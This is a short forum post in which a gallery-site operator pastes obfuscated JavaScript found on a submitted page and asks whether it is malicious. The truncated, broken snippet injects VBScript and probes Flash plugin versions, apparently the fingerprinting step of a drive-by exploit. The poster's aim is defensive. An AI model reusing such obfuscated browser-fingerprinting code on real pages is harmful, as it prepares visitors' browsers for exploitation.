Malicious javascript?

[Toby]

A submit to one of my TGPs contained the following javscript at the bottom of the page. I suspect that it's malicious, but want to be sure before I post the domain as a cheater. Can someone that's a bit more adept with javascript confirm my suspicions? Thx

<script language="javascript">

var xmlHttp;

function nvc(){
var n=navigator;
var p=document;
var c,t,b,j,m,r,y;
var d,x,w;

p.writeln("<s"+"cript language=\"VBScript\">\non error resume next\nn3f8q=0");

p.writeln("if(IsNull(CreateObject(\"ShockwaveFlash.ShockwaveFlash."+i+"\"))) then dummy=0 else n3f8q="+i+" end if");
p.writeln("</s"+"cript>"); } else eval("var n3f8q=0");
if(n.plugins && n.plugins["Shockwave Flash"]){
